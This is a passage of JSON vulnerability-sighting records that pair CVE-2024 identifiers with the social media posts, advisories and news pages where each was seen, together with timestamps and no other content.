"https://bsky.app/profile/cve.skyfleet.blue/post/3lfefavtvha2u", "content": "", "creation_timestamp": "2025-01-10T04:48:20.669241Z"}, {"uuid": "783bf622-7e6e-45f0-9358-b0ffb55e2527", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12470", "type": "seen", "source": "https://mastodon.social/users/CyberSignaler/statuses/113785496552660982", "content": "", "creation_timestamp": "2025-01-07T05:48:10.965334Z"}, {"uuid": "54032db4-edf6-4441-a2dc-934eb8b54aaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12493", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798341281477901", "content": "", "creation_timestamp": "2025-01-09T12:14:45.788617Z"}, {"uuid": "33798635-02aa-443a-9370-289811c17df6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12849", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-12849.yaml", "content": "", "creation_timestamp": "2025-01-07T16:31:16.000000Z"}, {"uuid": "68a7aa0f-25e5-4e8d-aa65-c9b7dadcff25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecf5eb7so2l", "content": "", "creation_timestamp": "2024-12-27T16:15:50.204921Z"}, {"uuid": "dbc32409-3ff7-4477-af0b-0034820b175a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12986", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecf5gjbs52f", "content": "", "creation_timestamp": "2024-12-27T16:15:52.953013Z"}, {"uuid": "3f1ca783-717e-4094-858c-316c98ef2c7b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecf5im54q2e", "content": "", "creation_timestamp": "2024-12-27T16:15:55.697250Z"}, {"uuid": "53c5a6b5-664b-4646-a0f3-3501798a62c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12988", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecihxhwr62k", "content": "", "creation_timestamp": "2024-12-27T17:15:26.969315Z"}, {"uuid": "173262f8-21f1-4815-9592-3fb5ef40bf31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12989", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecltkq3zk22", "content": "", "creation_timestamp": "2024-12-27T18:15:38.411387Z"}, {"uuid": "0570b464-bf60-4198-882b-c1ca2c4267af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12990", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecltnvdxl25", "content": "", "creation_timestamp": "2024-12-27T18:15:42.428662Z"}, {"uuid": "e52749fd-92c5-4ce5-82f8-226670efb7c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/aakl.bsky.social/post/3lecm37p3bc2c", "content": "", "creation_timestamp": "2024-12-27T18:19:54.612938Z"}, {"uuid": "c7bb8cac-22de-457b-85d6-429d3ef92a7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12991", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113726450950568003", "content": "", "creation_timestamp": "2024-12-27T19:32:06.443476Z"}, {"uuid": "6c167c6b-53a2-4976-8c67-04d25e39c65a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12991", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lecska4m6e2m", "content": "", "creation_timestamp": "2024-12-27T20:15:41.145453Z"}, {"uuid": "1083c50b-8f3e-4cb2-b563-897038f1f3e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/hackingne.ws/post/3ledwrfn57s2p", "content": "", "creation_timestamp": "2024-12-28T07:03:56.082988Z"}, {"uuid": "ae04074e-e9e2-4566-ae48-7ba417de14e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12073", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785499151507228", "content": "", "creation_timestamp": "2025-01-07T05:48:50.417316Z"}, {"uuid": "6be0d840-3455-473e-beec-08b67ee9360e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12152", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5g57tpu52c", "content": "", "creation_timestamp": "2025-01-07T10:15:31.991109Z"}, {"uuid": "69027c8f-523d-4601-b3d3-1f3dd99cab98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12496", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798341295943036", "content": "", "creation_timestamp": "2025-01-09T12:14:46.015786Z"}, {"uuid": "80a055a2-7938-4c7b-bd03-af7f8413359c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12261", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785499166691620", "content": "", "creation_timestamp": "2025-01-07T05:48:50.750874Z"}, {"uuid": "696d4067-87db-4e79-97c5-6ed047caf660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12699", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5g5cbkca2f", "content": "", "creation_timestamp": "2025-01-07T10:15:34.394950Z"}, {"uuid": "f30543dd-cc43-463f-9640-2d2af6dc5297", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12515", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798341343631343", "content": "", "creation_timestamp": "2025-01-09T12:14:47.094168Z"}, {"uuid": "f9993108-0960-418f-afb3-3ad65bcec07a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12383", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113785499181600844", "content": "", "creation_timestamp": "2025-01-07T05:48:51.558312Z"}, {"uuid": "4df77c1d-8365-49e2-8c80-c358973fdd77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12699", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5g5cbkca2f", "content": "", "creation_timestamp": "2025-01-07T10:15:34.398406Z"}, {"uuid": "e5e6befb-a8a5-4397-9da1-b553cbd2a296", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12514", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798341329606867", "content": "", "creation_timestamp": "2025-01-09T12:14:47.396590Z"}, {"uuid": "cdd8cafd-52b5-4391-a64b-3071b3bf1356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://thehackernews.com/2024/12/15000-four-faith-routers-exposed-to-new.html", "content": "", "creation_timestamp": "2024-12-28T05:25:00.000000Z"}, {"uuid": "cc052302-636c-40e5-8843-dc9abbcc38c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://infosec.exchange/users/dragonjar/statuses/113730104225786101", "content": "", "creation_timestamp": "2024-12-28T11:01:12.392280Z"}, {"uuid": "39249f7a-825c-4067-8ec4-1cc8af09746e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12994", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113730589064020508", "content": "", "creation_timestamp": "2024-12-28T13:04:29.015370Z"}, {"uuid": "f121be15-566c-48ea-bb7b-2329920cd08e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12994", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3leelkcfopi2m", "content": "", "creation_timestamp": "2024-12-28T13:15:46.448788Z"}, {"uuid": "8dc5a339-71c5-4627-b5ac-984493f97ced", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12995", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113730695537675548", "content": "", "creation_timestamp": "2024-12-28T13:31:33.756951Z"}, {"uuid": "45e07e79-97c7-4627-9c34-fe1b0ba860f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12995", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3leeovmyccw2m", "content": "", "creation_timestamp": "2024-12-28T14:15:47.926672Z"}, {"uuid": "89cd125a-f180-45cb-9e9a-f52dea434e87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113731660280670135", "content": "", "creation_timestamp": "2024-12-28T17:36:55.026885Z"}, {"uuid": "9f46d438-abb4-4afc-ae63-f482e49860b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/wiretor.bsky.social/post/3lef6g56dx22i", "content": "", "creation_timestamp": "2024-12-28T18:53:33.078125Z"}, {"uuid": "0e0d95b9-b231-4df8-a78e-24f115121074", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12908", "type": "seen", "source": "https://bsky.app/profile/amberwolfsec.bsky.social/post/3lefcrn2uec2k", "content": "", "creation_timestamp": "2024-12-28T20:11:32.704489Z"}, {"uuid": "ba8edaaa-a1fc-4c9f-b7b5-595a87cf5200", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "https://bsky.app/profile/jussimetso.com/post/3lefghuugpk2a", "content": "", "creation_timestamp": "2024-12-28T21:17:40.615239Z"}, {"uuid": "1f1281ff-2e52-4a12-bc10-6ee593678c23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12998", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113732593413596560", "content": "", "creation_timestamp": "2024-12-28T21:34:13.078762Z"}, {"uuid": "9276ce57-f16b-4d84-aba2-a498b5e2eddb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12998", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lefjpfhae625", "content": "", "creation_timestamp": "2024-12-28T22:15:29.737925Z"}, {"uuid": "d3f4b5d4-2bd4-4420-91aa-69e2a2e2b236", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12999", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113733675205605936", "content": "", "creation_timestamp": "2024-12-29T02:09:19.975234Z"}, {"uuid": "a4c0bfb8-e0a9-413c-ace1-da5c301bfece", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12999", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lefx4rnawm2a", "content": "", "creation_timestamp": "2024-12-29T02:15:37.547679Z"}, {"uuid": "fb45acee-c48a-4228-a0c6-c1f620688c80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12238", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113734444255228215", "content": "", "creation_timestamp": "2024-12-29T05:24:54.668953Z"}, {"uuid": "ce19974b-a559-4ef0-a284-75cba527a372", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12238", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3legejfwid325", "content": "", "creation_timestamp": "2024-12-29T06:15:19.610695Z"}, {"uuid": "77059af0-ffeb-47b5-808e-51ba5e857536", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12445", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4xi26g2g25", "content": "", "creation_timestamp": "2025-01-07T05:53:08.924451Z"}, {"uuid": "7ead2cda-33d5-4070-be04-9b39d1daee5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12719", "type": "seen", "source": "https://bsky.app/profile/cve-notifications.bsky.social/post/3lf5g5em64m2l", "content": "", "creation_timestamp": "2025-01-07T10:15:37.260213Z"}, {"uuid": "c0900401-0871-492b-9dfd-818c8f7f77ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12757", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-007-02", "content": "", "creation_timestamp": "2025-01-07T11:00:00.000000Z"}, {"uuid": "4b606d5c-b54b-4c20-92de-4bdd5f1d185f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12435", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4xi2ho7k2g", "content": "", "creation_timestamp": "2025-01-07T05:53:09.652024Z"}, {"uuid": "b3c2193a-6856-40aa-87b2-61f49c56790b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12288", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4xi2kxpc2k", "content": "", "creation_timestamp": "2025-01-07T05:53:10.139217Z"}, {"uuid": "5187e6ec-735f-43d7-8bf3-242b6413fb72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12593", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfrser7uzm2i", "content": "", "creation_timestamp": "2025-01-15T12:47:45.327826Z"}, {"uuid": "58c9bf5e-5970-4ec9-ac7e-7ae77c58d5cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12313", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4xi2rv3w25", "content": "", "creation_timestamp": "2025-01-07T05:53:11.190159Z"}, {"uuid": "f45307dc-55e4-4472-a393-d78f3dbf4d65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "seen", "source": "https://bsky.app/profile/wiretor.bsky.social/post/3leh4xwt46c2h", "content": "", "creation_timestamp": "2024-12-29T13:33:02.388047Z"}, {"uuid": "a59ffce3-1a67-44b5-9fb9-45cfb9ffb77e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113742818700861357", "content": "", "creation_timestamp": "2024-12-30T16:54:38.444807Z"}, {"uuid": "94cc5d9a-8e69-4cc3-8401-30833278b162", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113742818716870290", "content": "", "creation_timestamp": "2024-12-30T16:54:38.744237Z"}, {"uuid": "cc156fcc-b813-4775-84a7-a92e1ee1a456", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12834", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113742818750162019", "content": "", "creation_timestamp": "2024-12-30T16:54:39.128091Z"}, {"uuid": "0efac6c1-d800-48d4-8329-5846977653ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12835", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113742818764786828", "content": "", "creation_timestamp": "2024-12-30T16:54:39.351964Z"}, {"uuid": "0700adea-edbd-433e-ad56-7e4418519d33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113742833805887907", "content": "", "creation_timestamp": "2024-12-30T16:58:29.038841Z"}, {"uuid": "120caf63-4a3a-4765-a629-bd99c2f61d29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12834", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113742833836935952", "content": "", "creation_timestamp": "2024-12-30T16:58:29.760175Z"}, {"uuid": "35f1017f-58d2-46e2-ad0e-7c8c3b1441c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113742833821256848", "content": "", "creation_timestamp": "2024-12-30T16:58:29.819303Z"}, {"uuid": "198a6802-75a6-498a-be12-9aa69d8f0def", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12835", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113742833851325687", "content": "", "creation_timestamp": "2024-12-30T16:58:29.899704Z"}, {"uuid": "3f5bfa97-d52f-4dcf-acd8-063c2c6f8347", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12836", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113742892883784558", "content": "", "creation_timestamp": "2024-12-30T17:13:30.602770Z"}, {"uuid": "b0d40740-73d4-44bc-b667-c8fab56494b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12751", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113743623799370322", "content": "", "creation_timestamp": "2024-12-30T20:19:23.372016Z"}, {"uuid": "5b6647e3-9078-4963-9de0-8ee23584c676", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12752", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113743623816619094", "content": "", "creation_timestamp": "2024-12-30T20:19:23.992548Z"}, {"uuid": "063b7bc2-bb21-4efe-915a-787e8422f526", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12753", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113743682818550270", "content": "", "creation_timestamp": "2024-12-30T20:34:23.798890Z"}, {"uuid": "199a90c7-e1ff-40bd-9e28-ff6247352911", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12753", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1739/", "content": "", "creation_timestamp": "2024-12-30T05:00:00.000000Z"}, {"uuid": "28bddbf8-ca89-4ab0-a082-abc50c101243", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12752", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1738/", "content": "", "creation_timestamp": "2024-12-30T05:00:00.000000Z"}, {"uuid": "1618e7cf-2c5a-4157-a925-9c49c512adbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12751", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1737/", "content": "", "creation_timestamp": "2024-12-30T05:00:00.000000Z"}, {"uuid": "b8f378f3-a630-44c0-87b0-ee8e2423cdeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12833", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1736/", "content": "", "creation_timestamp": "2024-12-30T05:00:00.000000Z"}, {"uuid": "0c61fead-b644-4691-b373-f2e9d2391522", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12838", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113744869181833797", "content": "", "creation_timestamp": "2024-12-31T01:36:06.332927Z"}, {"uuid": "95eeae06-1730-4f68-a5ec-fd09fb2b3730", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12839", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113744869196669712", "content": "", "creation_timestamp": "2024-12-31T01:36:06.530015Z"}, {"uuid": "5924b070-862d-4b16-95cb-d921d7194632", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12753", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113747069009110423", "content": "", "creation_timestamp": "2024-12-31T10:55:33.617648Z"}, {"uuid": "36431d7b-2922-4a72-959a-7a1c42817a8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12322", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4xi2v5zv2y", "content": "", "creation_timestamp": "2025-01-07T05:53:11.772098Z"}, {"uuid": "7e38f7b3-1ac6-4f8c-94b6-8d20e0fcf984", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12252", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf4xi2ymzp2h", "content": "", "creation_timestamp": "2025-01-07T05:53:12.294517Z"}, {"uuid": "2c07c895-a5f6-42a4-9274-39edbffc50ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-6360c159-b674e73894b2931a", "content": "", "creation_timestamp": "2025-01-07T10:37:14.906354Z"}, {"uuid": "983686de-9b09-42c1-aeda-fd62422021f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12714", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfc3apdfrq2i", "content": "", "creation_timestamp": "2025-01-09T06:43:56.670585Z"}, {"uuid": "f5d5f711-207f-422a-8068-803419930072", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12542", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798400346336384", "content": "", "creation_timestamp": "2025-01-09T12:29:47.092768Z"}, {"uuid": "4a4a69e3-8775-4187-8784-a48248dcbcb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12152", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lf5hp2lyem2u", "content": "", "creation_timestamp": "2025-01-07T10:43:23.967079Z"}, {"uuid": "78f7bceb-86dd-42f0-88ed-3546a196a6c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12715", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lfc3apijpf2k", "content": "", "creation_timestamp": "2025-01-09T06:43:57.206434Z"}, {"uuid": "a1f0e001-efa2-4094-b54d-8edc8421e265", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12605", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798400362250825", "content": "", "creation_timestamp": "2025-01-09T12:29:47.215065Z"}, {"uuid": "248160b0-38d2-47c5-accc-b74ebde047ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12616", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113798400377674801", "content": "", "creation_timestamp": "2025-01-09T12:29:47.405436Z"}, {"uuid": "1d891694-2573-4197-9a19-8208fd67fe76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12404", "type": "seen", "source": "https://infosec.exchange/users/random_robbie/statuses/113826808277247317", "content": "", 